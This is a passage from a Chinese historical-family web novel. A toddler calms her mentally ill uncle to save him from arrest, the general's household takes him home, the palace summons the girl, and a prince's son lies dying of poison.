人这辈子,可不就是为了那三瓜两枣,何况他确实没受什么伤。
这些钱都足够他开好几个茶棚了。
“你……”林都尉气得抬手,手掌即将落下之际。
顾应决突然开口道:“都尉,摊主已同意,你何必为难。”
“此事本就你情我愿,百姓心善,愿意原谅我四弟的冒失,你这又是做甚?”
林都尉闭眼,胸口剧烈起伏,喉结随之上下移动。
仿佛压了无数的怒气,无从宣泄。
好不容易找到顾寒舟犯事,若就这么轻易放过。
日后将军府只会更警觉。
他缓缓放下了手,余光瞥了顾应决一眼。
“可即便这样,那都改变不了,他是个疯子的事实!”
“只要人还疯着,那就是威胁。”
“何况他方才还伤了,我巡城司的人。”
“殴打公差,还差点失手**,那自然是要受到严惩的。”林都尉突然想到什么,侧头看向方才被顾寒舟掐脖子的那名卫兵。
第三十八章 爹第一次叫她乖宝
卫兵脸色已经逐渐正常,不再像方才那样面色发紫,完全一副即将要断气的样子。
他从地上爬了起来,抬眸狠狠的剐了顾寒舟一眼。
“都尉说的是这种人,绝不能放任。”男子眼中藏着怒气。
林都尉抬眸瞥了顾应决一眼,这小子是他们巡城司的人。
岂会像那些刁民一样,为了一点蝇头小利背叛他。
顾应决指腹按在扶柄上,暗沉的眸光中含着一丝笑意:
“我记得军中陈开,你那还缺个副手。”
陈开闻言,立刻俯下身迎合开口道:“回将军,属下身边确实缺了一名下属。”
“属下觉得,这小子是个好苗子,不如让属下收录营中。”
林都尉闻言神色顿了顿,侧头看了一眼那卫兵。
卫兵垂头不语,面上有些为难,毕竟如果他一直都在巡城司,只怕一直都是个小小的卫兵。
这些年以来,他一直都苦于没法升迁。
若是能够进了军营,还是陈将军的手下。
再怎么也比一个卫兵好,至少还能在军中做个百户。
“都尉,小的活了大半辈子,还没真的当过官呢。”
他一个小小卫兵,哪是什么官,也就是普通百姓,见他会畏惧些。
在巡城司,他就是一个小兵,谁都能使唤他。
“要是真能在陈将军手下做事,小的这辈子也算是光宗耀祖了。”
林都尉闻言瞪大了眼睛,手紧紧捏着腰间的佩剑:“你这小子!本都尉何曾亏待过你,你竟然敢背弃我。”
卫兵俯下身,在林都尉跟前跪下行礼。
“小的,永远铭记将军曾经的恩情。”
说完他就赶紧起身往陈开那边去了。
林都尉一时间,再也压不住内心的愤怒,狰狞的面容指着顾应决道:“顾将军这是要当场贿赂,以权谋私?”
“林都尉此话是何意,本将军不过是举荐个能人罢了。”
“你说的这事何人瞧见了?”顾应决勾唇,眼神犀利地看了他一眼。
那目光就像是一条在阴暗洞穴里,精准掌控外围的毒舌,一出手就是击杀。
林都尉眯了眯眼,胸腔压不住的怒火,直往脸上冲,“好,行你,以为,就这样本都尉,就拿你们没法了?”
“他是个疯子,从踏出京城起,那都是你们将军府的失职,今日我必须带走他!”
就在此时,传来一阵脚步声,一行身穿飞鱼服的男人走了过来。
林都尉看清楚来人,勾唇行礼:“崔统领。”
“吵什么?”崔统领不悦地看了众人一眼。
林都尉抿唇,早就打听到今日崔统领会路过,本想借机邀崔统领喝一杯,谈谈他升迁的事,没想恰好遇到了顾寒舟。
不枉费他拖这么久,崔统领总算来了。
崔统领目光落在顾应决身上,俯下身行了一礼,“顾将军,既然四公子犯事那理应由朝廷掌管。”
“我知你舍不得自家兄弟,但国有国法,岂是你能胡来。”
崔统领冷声道:“把人带走!”
陈开立在顾寒舟跟前,不让任何人靠近。
就在两方僵持之时。
一道小身影冲到他们之中,乖宝望着跟前人,奶声奶气开口道:“你们不要抓我四叔。”
“我四叔不是疯子,他不是故意伤害别人的。”
“叔叔,你放了我四叔吧。”
“乖宝,保证以后一定会好好看着四叔,绝对不会让四叔再跑出来**了。”她说话的声音很响亮,甚至因为语句过长一边喘着气,一边开口道。
乖宝小脸涨红,小小的身板,为了让大家能够注意到她,还特意踮起了脚尖。
说话的声音,为了让大家听到,几乎都是掐着嗓子吼的。
边上的人,仿佛听到什么莫大的笑话般。
仰天大笑。
那雄浑粗犷的笑声,仿佛在耻笑她作为孩子的懵懂无知,更像是笑话她年纪小,不懂人世间的险恶。
林都尉在一旁讥讽道:“哈哈哈哈哈,小孩,你四叔是个彻头彻尾的疯子。”
“他已经没救了。”
“你刚才是没看到你这四叔就跟一头野狼一样,完全没有一丝人性这样的人,根本没有活下去的意义。”
“与其让他这样人不人,鬼不鬼的活着,倒不如给他个了断。”
乖宝迷惑的望着他,根本听不懂他在说些什么,也跟不懂他为什么突然笑。
只通过他的语句,大概能知道这个人在说四叔是个疯子。
“不对,不对,我四叔真的不疯!”
“哈哈哈哈,好了,一边
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玩去吧。”林都尉无视了她的话,勾唇露出一丝不耐。
从地上起身,眼神中露出冷冽。
陈开被锦衣卫的人,捆住双手。
乖宝红着眼睛,拦在林都尉跟前。
“我没说错,我四叔不是疯子。”
林都尉勾唇,眼中闪过一个想法,“既然你说他不是疯子,那行,我叫人把他放开,他要真是个疯子,就立刻叫人拿下。”
“好!”乖宝害怕,但小身板却没有一丝露怯。
“不行,小姐危险。”陈开神色变了变,挣扎着要扑过去保护乖宝。
林都尉抬手,即将要做出动作时。
“林玄泽,你敢!”
“她还只是个孩子,若她受伤,我将军府跟你没完。”顾应决抬眸,眼里没了方才那般淡定,手紧紧按着扶柄,试图从椅子上起身。
然而身下却纹丝不动。
他此刻不仅恨自己无能,更恨自己没能多叫些人手过来。
“崔统领,你一个锦衣卫副统领,当真要听林玄泽一个都尉的话?”
崔统领面色冰冷,目光望着站在顾寒舟跟前的小孩身上。
那双恐惧中,又带着决绝的眼神,就跟一头小狼崽子似的。
这小丫头年纪小,却有一股连成人都自愧不如的勇气和坚韧。
“顾将军放心,我等不会让四公子伤了这孩子。”
顾应决不信任何人,冷斥道:“你拿什么保证?”
“乖宝,是我将军府唯一的孩子,你若如此行事,就是与我将军府为敌。”
崔统领面色不改,朝着身侧的人摆了摆手。
边上的两名锦衣卫上前,那两名将士只好松开了按住顾寒舟的手,将顾寒舟交由锦衣卫。
顾寒舟在看到那两名上前的锦衣卫时,眼中露出惊恐的神色,咬牙手臂一用力推开了他们。
林玄泽跟崔统领一刹那间,抽出了手里的剑,做了随时御敌的准备。
四周的气氛瞬间冷凝。
众人忍不住咽口水,紧张地盯着,那个随时都可能出手伤人,又力大无穷的暴虐疯子。
而顾寒舟在众人的注目下,朝着乖宝扑了过去。
所有人都深吸了一口气,大气都不敢出。
在他们看来,那个三岁小孩即将要被那疯子掐死或者撕成碎片!
第三十九章 只认乖宝
众人心中都在默默为这个孩子,哀悼。
顾应决脑子一片空白,就像断了线的风筝一般,思绪里只有乖宝。
他想象不出来,那样一个看起来,乖巧软糯的小东西。
死在自己面前的样子。
顾寒舟靠近乖宝时,突然绕到,走到了乖宝身后。
他伸出手,抓住了乖宝的小手,而后蹲在了乖宝的身后。
顾寒舟像一只受伤的小兽一样,眼神已经不再是刚才那暴躁嗜血的尖锐,而是呈现出单纯天真的畏惧。
仿佛乖宝就是他的保护者,他只有站在乖宝这儿才能得到片刻的安心。
“四叔,不怕,乖宝,乖宝保护你。”
小团子一手摸着男人的脑袋,一手拍着他的肩膀,声音轻柔带着稚气。
男人高大,却颤着肩膀,拼命将脑袋贴乖宝的小下巴,仿佛一只受惊瑟瑟发抖的幼鸟。
众人见状,纷纷露出诧异,甚至震惊的目光。
“这……这怎么可能!”
“方才他明明跟个疯子一样,怎么可能突然这么温顺。”
“是啊,他刚才那个样子,分明就是要**。”
“吓死我了,我还以为这个疯子要对孩子出手。”
“那可是个毫无人性的疯子啊!怎么这个小娃娃来了之后,四公子就变了。”
林都尉惊愕的目光中,浮现出一丝迟疑,抽出了腰间的刀,阳光下刀片上折射出刺眼的亮光,在顾寒舟深黑色的瞳孔中闪了下。
“乖……乖宝,乖宝……”他收回目光,缩着脖子,颤着嘴发出低声。
仿佛在他意识到危险的那一刻,乖宝就是他最坚实的守护神。
“不怕不怕。”
乖宝就像当初祖母跟大伯护着自己时那样,小手拍着他的背,小嘴轻启,低声嚷嚷道。
“叔叔,你把你的刀拿远一点。”
“我四叔会害怕的。”乖宝像只护犊子的雌鸟,皱着眉头,奶凶奶凶看着林都尉,苛责道。
这个叔叔刚才肯定打四叔了!
不然四叔怎么会这么害怕。
林都尉捏着手中的剑想上前,被崔统领拦住。
崔统领瞥了他一眼:“林都尉,将军府的小姐已经向我们证实,顾四公子没有发疯,也没对京中百姓们产生任何的影响。”
“可是方才他明明就……”林都尉蹙眉,崔统领这是什么意思,怎么反帮着顾应决。
“林都尉,这事你要真追究起来也没什么好处。”崔统领拍了拍他的肩。
林都尉死死盯了顾寒舟一眼,如今京中百姓不认顾寒舟发疯的事实,而顾寒舟又突然不疯了,他连抓顾寒舟的理由都没了。
就算是真闹到上面去,只要顾应决跟周边的百姓矢口否认,上头人也没不会治罪顾寒舟。
林都尉压着心中的怒气,深吸了一口气,扫了一眼地上的小孩。
这小孩出现的也太巧合了,要不是这孩子,有崔统领在,顾寒舟早就被抓了。
难道顾应决早就提前部署好了?
不过这怎么可能,他哪有那通天的本事,难不成真是巧合。
不过事已至此,他留在此处,已无用。
只可惜,竟然让顾寒舟逃过此劫。
“既然已无事,那下官告辞了。”林都尉俯下身,硬着头皮朝着顾应决抱拳行礼。
而崔统领看了一眼顾应决,撩了下衣袍抱了抱拳,“顾将军,方才多有得罪,崔某也只是依照大秦律法行事,还望海涵。”
“崔某还有要事在身,先告辞了。”
顾应决点头示意了一眼。
崔统领目光在乖宝身上停滞了几秒,这才翻身上马带人离开。
顾应决被小厮推到了乖宝面前,望着跟前还不到顾寒舟腿长的小崽子,阴沉着脸道:
“你知不知道……”
方才有多危险。
他还没说完,对上了乖宝那双如银镜般的瞳孔,一时失语。
原本想要训斥乖宝的话,到嘴边却怎么也开不了口,喉咙像是堵着什么东西一样。
小崽子眼里没有一丝惊慌,根本意识不到自己方才有多危险。
竟还在安抚比她大好几倍的成人。
仿佛在她眼里,那个真正需要人护着的是顾寒舟。
乖宝意识到身侧的人在看自己,抬眸看了一眼顾应决,扬起唇笑着道:“爹
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,我没事哒。”
“四叔也没事。”
她怀里的顾寒舟,也抬起眼睛偷偷看了顾应决一眼,又收回了目光。
“四公子……”小厮察觉到对面的男人,有些不对劲,想开口说些什么。
“先带老四回府。”顾应决下令道。
边上的将士上前,即将靠近乖宝时,乖宝身侧的顾寒舟搂住乖宝的小手臂不放,顾寒舟用脑袋蹭了蹭她的手臂。
他似是察觉到危险的因子,脸上原本怯懦的目光,染上了一些凶狠朝着将士龇牙咧嘴,而后又胆怯地将脸埋乖宝怀里。
顾应决朝将士摆了摆手,示意其退下。
乖宝踮起脚尖,伸出小肉手,轻轻摸着顾寒舟的脑袋,轻声道:
“四叔,别怕,他们都是好人,跟乖宝回家好不好?”
“跟……跟乖宝回家。”他懵懂地开口。
“对哒!”
乖宝点了点头,拉着他的手,“我们走吧。”
顾寒舟缓缓站起来,让乖宝拽着,迈着步子跟着乖宝往前走。
跟前那个小小的人,仿佛是他的指路灯,跟着她才最有安全感。
一行人还没到将军府门口,就看到顾应柏急急忙忙从将军府门口跑出来,他身后还有被人推着的顾夫人。
“乖宝没事吧?”
顾应柏快步冲到乖宝跟前,俯下身上下打量着乖宝,确认她有无伤势。
乖宝没说话,顾应柏目光向上移,对上了顾寒舟那双天真又带着几分警惕的眼神,神色瞬间一怔。
他明显察觉到,顾寒州跟平时有些不一样。
将军府所有人都见过顾寒洲发疯的样子,却从未见过他像如今这般安静。
同一时间,顾应柏跟身后的顾夫人齐齐开口。
“舟儿!”
“四弟!”
顾夫人在看到顾寒舟的那一刻,差点从轮椅上站起来。
顾应柏起身,往前迈了一步,手还没触碰到顾寒舟的肩膀,就被顾寒舟躲开了。
他蹲在乖宝身后,缩着身子颤着肩。
二人看到这一幕愣了愣。
“大哥,四弟现在只认乖宝。”顾应决开口解释道。
第四十章 造化
顾夫人扫了一眼顾寒舟身上的鞭痕,心疼不已,朝边上的下人吩咐。
“去请大夫过来。”
顾应柏立刻往后退了一步,脸上的喜色不改,不论如何,这都是一件好事。
舟儿,已经不像之前那般完全拒人。
不会随便动手**,更也不会控制不住自己。
“我们先回府里说。”顾应柏脸上扬起笑容,推着顾夫人往里面走。
府内大厅,乖宝爬到凳上坐下。
顾寒舟则紧跟在她身侧,一双眼睛紧紧锁在乖宝身上。
“四叔坐呀。”乖宝拍了拍自己身侧的凳子。
顾寒舟这才温温吞吞,在凳子上坐下。
顾夫人紧紧盯着突然变得乖巧的儿子,眼睛里漫上了泪花,寒舟到庄子已经三年了。
三年来寒舟的病情越来越差,到最后甚至都完全丧失了神智。
连她这个亲生母亲都不认得,更是连靠近都不行。
“寒舟,你可记得娘?”顾夫人用手帕拭了拭泪水,目怔怔望着儿子。
顾寒舟见对方一直盯着自己,有些畏惧的闪着眼神,然后抓住了乖宝的手。
顾夫人看他害怕的神色,心中一片酸涩,伸出手想替他抚平有些乱的头发,却让顾寒舟躲开了。
他有些慌张道:“乖宝乖宝。”
乖宝十分有耐心地,向顾寒舟介绍:
“四叔别怕哦,这是祖母,你的娘亲。”
“这是我大伯,你的大哥。”
“这是我爹,你三哥哥。”
她说话清脆稚嫩,让顾寒舟听了十分安心。
“祖……祖母?”
“爹?”顾寒舟怯生生望着他们,颤抖着双肩,喃喃开口道。
顾应柏扶额笑了笑,侧头看了一眼顾应决。
顾应决神色淡淡,面上没有一丝情绪变化,指腹微拢。
“不对不对,这是你娘亲,叫娘亲!”乖宝摇摇头,又开口道。
“娘……娘亲?”顾寒舟蹙眉,盯着顾夫人,呆愣愣地开口。
这两个字在他脑中,仿佛激起了千层的巨浪。
似乎在印象中他叫过无数次。
但是他又记不起来了。
“娘亲。”顾寒舟又喊了一声。
顾夫人望着跟前的顾寒舟眸光一怔,恍然间仿佛回到了三年前。
那个鲜衣怒马的少年郎,每每从府外回来,都扬着恣意的笑容,凑到她身侧唤一声。
娘亲。
“舟儿……”顾夫人脸上落下两行泪水,心中五味杂陈。
顾寒舟不懂她眼里的情绪,缩着身子靠着乖宝。
“夫人,林大夫来了。”小厮引着林大夫进来。
林大夫被带到,一个穿着似乞丐模样的年轻人面前。
年轻人看到他,眼神闪躲,而后彻底垂下头来,扳着手指。
不是说给府里四公子看病吗?
将军府的四公子,不就是那个让全京城的人都唏嘘的发狂疯子嘛。
“这位是……”林大夫有些迷惑道。
“这就是我们将军府的四公子。”小厮开口道。
林大夫蹙眉,这年轻人怎么看也不像传闻的那般。
他来的路上还提心吊胆,就怕自己这次看诊有个好歹。
看来他的担忧多虑了。
“乖宝……”顾寒舟见林大夫靠近自己,下意识去拽乖宝的手,紧张道。
“不怕哦,四叔,这是给你治病的人,不是坏人。”
乖宝轻拍着他的手,温声劝说道。
“我们就伸出手,给他摸一下,一下下就好了啦。”
她一边劝,一边拉住顾寒舟的手,慢慢往林大夫那边拉。
顾寒舟颤抖着手,脑袋缩着往乖宝的方向靠,要不是乖宝拉着他,他大抵会收回手。
林大夫看他怕自己,怕的都抖成筛子了,不由的想是不是外面的人都误会了。
顾寒舟在林大夫按住他手腕时,瞳孔一缩,立马往回抽手。
“不可以!”乖宝小脸有些严肃,一双有神的目光盯着顾寒舟摇头道。
“你要是收回手,乖宝就不理你啦。”
顾寒舟的手停驻在半空中,眼中带着些许委屈。
他颤着肩膀,低喃:“乖……乖宝。”
乖宝扳着小脸,跟个大人似的,严苛地摇头不语。
顾寒舟急了,赶紧伸出手去。
林大夫借机按住他的脉搏,眉头微蹙,抚了抚胡须。
“夫人,将军,四公子记忆全无,年纪也
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就停留在约莫五岁。”
“大夫可有办法恢复?”顾夫人开口询问。
林大夫收回手,摇头。
“身体之病还能有药医治,而四公子这是癔症,身体跟脑部没有丝毫问题,老朽也不好下药。”
“只能看造化。”
“至于四公子身上这些鞭伤,那都是皮外伤,用些金疮药就好了。”
林大夫起身朝着顾夫人,顾应决等人行了一礼。
造化这两个字,放在别人那就只是一丝安慰。
但将军府接连出现的奇迹,说不定还真有可能,让四公子恢复到从前。
顾夫人道完谢,便叫人送走了大夫。
“娘,四弟这样已经比原来好太多,至少我们一家还能聚在一起。”边上的顾应柏劝说道。
“哪怕四弟一直这样,我们将军府也能一直养着他,只要四弟能平平安安就好。”
他这话是事实。
曾经的顾寒舟,发起病来,不仅伤害别人,还会伤害到自己。
活着对顾寒舟来说都是痛苦。
可现在人是傻了,但好歹不致命。
顾夫人含了含泪,“你说的对。”
“先让下人带四弟去洗漱吧,伤口不处理会感染。”顾应柏扫了一眼顾寒舟身上的鞭痕又道。
“乖宝,大伯麻烦你一件事。”
他走到乖宝跟前,俯下身跟乖宝平视,低声开口道。
乖宝望着他,“嗯,大伯你说吧。”
“你这段时间,帮忙好好看着你四叔可以吗?”
顾应柏跟乖宝说话,就像把乖宝当成成人一般,丝毫没有因为她是孩子,而忽视掉她对这个家的重要作用。
这跟她有没有泉水无关,在顾应柏眼里她只是自己的侄女。
“好!”乖宝闻言,笑着点头。
这对她来说是小事。
反正也要看着爹,再看一个四叔而已喽。
而且四叔还这么乖,只听乖宝的话,就算大伯不说她也会这么做。
“嗯,那就麻烦乖宝带着你四叔回屋休息。”
顾应柏摸了摸她的小脑袋,笑着道。
“大伯,你放心吧,乖宝一定看好四叔。”她拍了拍小胸脯,心中那份责任感攀升。
第四十一章 宫里召见
乖宝带着顾寒舟离开后,顾夫人跟顾应柏仔细盘问起了方才发生的事情。
小厮兴高采烈道:“四公子不论见到谁都露凶,唯独见到小姐整个人都变了。”
“小姐冲过去那一下,大家还以为小姐要受伤了,结果不仅没受伤,四公子竟然还黏着小姐。”
“小姐真厉害,外面的人都看晃眼了!”
顾夫人侧头跟顾应柏对视了一眼,神色很淡定,仿佛早已猜到了这个结果。
这世间恐怕除了乖宝,没有人能做到让老四转好。
今日之事,要不是有乖宝在,老四早就被官府的人抓走了。
“派人好好看着小姐,切记不许任何不明之人靠近小姐。”顾应柏严肃地开口道。
顾应决蹙眉,此事外人见了只会觉得稀奇,根本想不到那么多。
但有心之人,未必不会通过将军府近日的异样,联想到小崽子身上。
这样的福气,对小崽子来说,未必是一件好事。
“母亲放心,儿子,会让人暗中护着她。”
顾应决指腹微拢,小崽子有这样的气运在身,柳玉烟知道吗?
若是她知道,为何会让小崽子来找他。
让这样一个孩子,孤身流浪,那就是催命符。
她到底是信不过孩子生父,还是真的身处绝境。
还是出于对他的信任?
离开前厅,顾应决被小厮推着,路过了一处院子,院子里传来乖宝清脆的声音。
“四叔,你洗澡好不好?不然你都要臭啦。”
院子里乖宝捏着鼻子站在屋外,仰头望着死活不愿意进屋扒着门框的顾寒舟。
“乖宝……”顾寒舟摇摇头。
乖宝丧气的垂头,“你不用怕,乖宝就在外面等着你,你就在里面洗澡,小哥哥帮你洗。”
“或者你自己洗澡,好不好?”
“你应该会自己洗澡吧。”
“洗澡,洗澡。”顾寒舟嘴里嘀咕着这两个字。
“你乖乖洗澡,乖宝走啦。”乖宝也不知道四叔听不听得懂。
她迈着步子,往外走。
顾寒舟见状,立马也要跟过去。
乖宝仰头望着身高挺拔的顾寒舟,摇了摇头,伸出一根小手指头,“不可以。”
“乖宝。”他皱起眉头,欲哭无泪的望着乖宝。
顾寒舟在地上急得跺脚,仿佛在跟乖宝撒娇。
“洗澡。”乖宝双手叉腰,小脸十分严肃,撅着小嘴道。
顾寒舟点了点头:“洗澡。”
房门关上,乖宝坐在屋檐下,双手托着腮,扬声道:
“乖宝就在外面等四叔,四叔要乖乖洗澡哦。”
里面传来舀水声,又发出一阵脆响,不知道是不是摔了。
乖宝正托着下巴泛瞌睡呢,猛然起身,回头看向屋内。
小厮已经进去了。
“公子,您别怕,奴才不会伤害您。”
乖宝贴着门道:“四叔,不用怕,小哥哥不是坏人。”
说完,她双手叉腰,而后丧气似的塌腰,满脸疲惫得吐了吐舌头。
“累坏乖宝了。”
顾应决盯着不远处的小丫头,磨搓着粗糙的指腹,唇角微勾。
小崽子古灵精怪的,小动作还真不少。
“嗯?”乖宝回过神,抬眸发现顾应决正盯着自己。
她猫着小身板,吓了一跳,瞪大了眼睛,赶紧站直了,合着衣袖擦了一把脸上的汗渍。
爹怎么在这儿?
“爹爹……”
乖宝迈着小短腿,从石阶上下来,而后小跑了过去。
顾应决盯了她一眼,收回目光,轻“嗯”了一声。
“爹,你怎么来啦?”
“路过。”顾应决依旧冷声道。
小厮撇了撇嘴,那确实是路过,不过嘛,让停下来的还不是将军自己。
“嗷嗷。”乖宝点着小脑袋,小脚踢着地上的石子。
她目光往顾应决轮椅上瞧,眼神在他侧边挂着的水袋上停留,咧嘴笑着道:
“爹,你用乖宝送的水袋啦。”
“水好喝吗?”乖宝开心地问道。
顾应决根本还没喝,也没法回应她。
乖宝倒一点也不在意,“水喝完了,乖宝再帮爹爹打水。”
“好。”顾应决对上她那张,天真浪漫的笑脸,不自觉冷硬开口。
“乖宝!”就在此时,屋子里传来顾寒舟的声音,顾寒舟跟阵风一样快跑了出来。
“四公子,您衣服都还没穿完呢。”后面的小厮,急的大声道。
“四叔,你洗完啦?”
乖宝回头望了去。
顾寒舟脸上无污垢,穿着一身白净的里衣,披着整洁干净的黑长直发,搭在肩上。
那张洁白干净的
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脸,在空气中暴露的彻底。
他长相俊美,还带着一双含情脉脉的桃花眼,五官又不像顾应决那么冷硬深邃,也不似顾应柏那般儒雅。
身上还有一股翩翩少年郎,如沐阳光般气质。
阳光下,温和的少年微曲着腰,勾着背冲乖宝笑了笑。
“哇!四叔。”
“乖宝就知道,我四叔可帅了。”乖宝小跑过去,扑到顾寒舟怀里。
顾寒舟双手托着她的胳肢窝,给她整个人举起来,转了一圈。
“嘿嘿,哈哈哈哈!”
乖宝咧嘴笑,露出两排洁白的贝齿。
顾应决望着他们,轻“咳”了一声。
“好啦,四叔你快放乖宝下来吧。”乖宝回头看了一眼顾应决,朝顾寒舟道。
顾寒舟放下乖宝,看了一眼顾应决,有些抖了一下肩,拉住了乖宝的手。
顾应决瞥了他一眼,见弟弟一副畏畏缩缩的样子,实在没眼看下去。
他抬了抬手,严声道:“站直了,不要塌腰。”
“脖子伸直。”
顾寒舟拉了拉乖宝的手,跟惊弓之鸟一样往后退了一步,“凶。”
“爹,你不要凶我四叔,以后就会好的。”乖宝护犊子一样,站在顾寒舟跟前。
顾应决扶额,合着他成坏人了。
“少将军,宫中来人了,陛下身边的刘公公。”就在这时,身后的小厮上前禀告。
顾应决挑眉,让下人推着自己先去前厅。
刘公公带着一众人站在前厅,手里拿着圣旨,除了顾夫人跟顾应决,其他人全都跪下。
“陛下有旨,命顾少将军明日一早前往宫中。”
“臣遵旨。”顾应决微微屈身,抱拳。
刘公公将圣旨递到顾应决手里,俯下身行了一礼:“少将军。”
“公公,不必客气。”顾应决开口道。
“不知陛下召见我,所谓何事?”
刘公公那双老谋深算的眼睛里,含着淡淡的笑意:“将军放心,此前将军为秦国征战有功,陛下本就打算封赏你,只是……不过好在将军命大。”
“陛下必不会薄待将军。”
“对了,咱家还奉了太后旨意,宣小小姐明日同将军一道入宫。”刘公公扫了室内一圈,就是没看到那道小身影。
这话一出,前厅众人,神色瞬间紧张起来。
第四十二章 难道那孩子真有什么特殊的能力?
顾夫人神色微僵,“公公,我家乖宝还小,她一个人入宫不太合适,要不老身随她一道入宫。”
后宫那就是个**不吐骨头的地方,皇帝妃嫔众多,乖宝一个孩子入宫,万一不小心得罪哪位主子,都不知会发生什么。
“夫人放心,太后娘娘的人一定会看好小姐,难道夫人信不过太后?”刘公公对她这话有些不满,反问道。
“公公误会了,臣妇并未这般想。”顾夫人垂眸,开口道。
刘公公瞥了她一眼,目光落在她那坐在轮椅里的双腿上,“咱家听说,夫人的腿能走动了,那就等夫人彻底好了在入宫也不迟。”
“祖母,大伯,爹……”乖宝拉着顾寒舟从外面走了进来,发现气氛有些微妙的不对劲。
一双圆溜溜眼睛,扫了一眼大厅里出现的陌生人,乖宝里面闭上了嘴。
众人齐齐往门口的方向看了去。
刘公公对上顾寒舟那张脸时,目光瞬间停滞。
“这不是将军府的四公子吗?好些年头没见了。”
顾寒舟不知道他在说谁,但感觉刘公公一直盯着自己,有些害怕的垂眸,缩着肩膀不敢抬头。
“公公,我家寒舟也是今日才回府。”顾夫人解释了一句。
刘公公眉头微扬,眼里带着犀利,这四公子的疯病,看着是真好了。
难道今日端妃说的,那传闻是真的?
“这就是将军府的小姐,倒是标志。”他的目光看向顾寒舟身边,穿着粉色衣裙的小女娃。
小脸肉乎乎,还有些发红,一双浑圆的眼睛,看着就机灵。
这孩子真受上天眷顾,身怀大福运?
乖宝不懂他在说什么,挠了挠头出于礼貌叫了一声:“爷爷好。”
这话一出,众人都静了。
刘公公眸光微动,勾唇淡笑,这孩子还挺有趣,至少比顾应决这冰块脸招人喜欢。
这么些年还从未有过世家小姐叫他爷爷的。
“小姐,咱家可禁不起这声爷爷,老将军要是知道,得起来骂咱家了。”
乖宝不懂,盯着他在说话。
“行了,咱家话已经带到,就先回宫复命了。”刘公公回眸,甩动着拂尘,带着人往外走。
待人走后,顾应柏眉头锁紧,“娘,我们就这么让乖宝一个人进宫?”
“你去叫人递封信给皇后娘娘。”顾夫人攥紧了手,侧头示意了一眼身侧的孙嬷嬷,说话的声音略有些慌张。
她从腰间取下一块玉,“不行,拿上这块玉佩,你亲自进宫去见皇后娘娘一面。”
顾夫人何曾这般惊慌过,面对自己这个唯一孙女的安危,她心里没底。
顾应决看了一眼身侧的乖宝,“娘,明日我会跟她一块过去,会派人好好看着她。”
“对,三弟也要一起去。”
顾应柏劝说道:“娘,此时叫人去见皇后娘娘,要是让人知道,怕是得说我们将军府忌惮太后,只怕不仅对府上不利,对娘娘不好。”
顾夫人深吸了一口气,两个儿子都长大了,已经不需要她做些什么了,“那就都听你们的。”
乖宝不知道他们在说什么,拿出腰间的荷包,打开跟顾寒舟一起吃方糖跟果干。
景王府,书房。
男人穿着一身**袍,坐在桌案后的檀木椅上,居高临下,带着审视的目光,看向地上的人。
那人半跪在地上,抱着拳头,将今日大街上发生的一切全都仔细说了一遍。
景王捏了捏手中的玉佩,嘴角微抿,顾寒舟的病症,几乎整个京城都知道,这么多年都没有一丝转变。
却因为一个孩子,突然有了变化,
难道那孩子真有什么特殊的能力?
不过无论怎样,他都得试一试。
那人又继续道:“属下抓了将军府看病的林大夫,严行逼供下,林大夫只说将军府诸位主子的病能好,跟他无关。”
“属下还派人去了将军府打听,听说是自从将军府小小姐来了后少将军活了,身上伤也逐渐痊愈,就连顾夫人都能站起来了,顾大公子的病也好了。”
“本王知道了,继续盯着。”
景王摆了摆手,待下人离开。
他沉默地挥了挥衣袖,从椅子上起身,迈着步子出了书房,直步离开了院子,转身踏进一处长满木槿花。
他在一处屋子跟前停了下来,拢了拢衣袍。
屋内,气氛低压沉郁,里头的众人眼里都透着紧张不安。
床榻上的孩子,约莫五六岁,脸色苍白没有一丝血色,眼底覆盖厚重的青丝,整张脸白的发黑,唇瓣乌黑发紫,眼神无光,看上去疲惫又虚弱,仿佛下一刻他
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就会立刻晕过去。
他含着泪,有气无力地对着跟前的陶罐,呕出了一深红色的血水。
“呕……”
吐完他又干呕了一阵,吐得直接仰头晕死在床榻上。
“槿儿!”女人年轻貌美身穿华服,脸色却带着疲倦之色,眼角发黑,急切地扶着床榻上的孩子,眼里含着泪意。
边上的太医见状立刻上前为他把脉。
“吱呀!”房门从外面推开,景王面色发沉,大步走了进来。
景王望着晕死过去的孩子,还有那痰盂里面鲜红的血,每一口呼吸都格外的沉痛,仿佛有无数把刀子在他心口上搅动。
这是他跟心爱之人的第一个孩子,他在这个孩子身上付出了诸多的心血和关注。
他无法就这么看着爱子离世。
太医立刻起身半跪下,“景王殿下,下官无能,小世子这毒无药可治,如今已深入肺腑。”
“世子的身子能坚持到现在,已是穷途末路。”
太医颤颤巍巍地开口道。
“你说什么?”
景王死死盯着太医,强压着内心悲戚,说话的声音粗重,身上的威慑感压人。
“王爷,您就算是砍了下官的脑袋,下官也无能无力。”
太医垂下头不敢看景王,却也只能硬着头皮道。
“本王让你救他!”景王上前拧住他的衣领,将他整个人提了起来,眼中带着肃杀之气。
一直以来都内敛,沉稳的景王头一次在外人面前失控。
太医脸色发红,紧张地满头大汗,哆嗦着嘴道:“王爷饶命啊!”
“下官真的无能为力。”
“王爷。”身边的景王妃突然开口道。
景王朝床榻那看了一眼,发现床榻上的孩子已经睁开了眼睛。
他松开了太医,快步走到床榻边上,握住了孩子的手,“槿儿。”
景世子半睁着眼睛,有气无力地开口道:“父王,槿儿想出去玩。”
“好,父王带你出去。”景王的大手握着他的小手,眼神带着浓浓的忧伤和慈爱。
景王接过景王妃递来的披风,裹在景世子身上,搂着他往外走。
满院子的木槿花,阳光落下,温暖撒在大地上,景世子轻咳了一声,他渴望地望着院子里的一切,眼里闪过一丝光亮又瞬间暗淡下来。
第四十三章 爹在等乖宝
“父王,我累了。”他又开口道。
说完,他歪头靠在景王怀里,闭上了眼睛,若不是他的小胸脯还在微微起伏,鼻息的呼吸有些重,真让人怀疑他是不是没气了。
边上的景王妃合着手帕,眼泪不自觉的涌出,却不敢发出一丝声音。
景王夫妇回屋将孩子放下,这才接见了太医。
“你跟本王说实话,我儿还有多久。”
景王沉着脸开口问。
太医垂眸道:“世子的身子,如今即便再用药控制,也至多不过半个月。”
“半……半个月。”景王妃听到这话,眼角一黑,身子稳不住的往后栽。
景王快速搂住了她,景王妃已经闭上眼睛晕了过去。
“鸢儿?”
太医上前替她把脉,而后退了一步,开口道:“回王爷的话,王妃这是劳累过度,加之急火攻心,这才晕厥。”
“下官这就给王妃开几副药,让王妃好好休息一阵子便能恢复。”
景王点头,示意了一眼身侧的下人,拦腰抱起了景王妃,挎着步子进了边上的侧室。
他将人放在了床榻上,拉上了被褥,冲身侧人开口。
“好好看着王妃。”
说完,他迈着步子轻轻往外走,门外候着的下人立刻跟了上去。
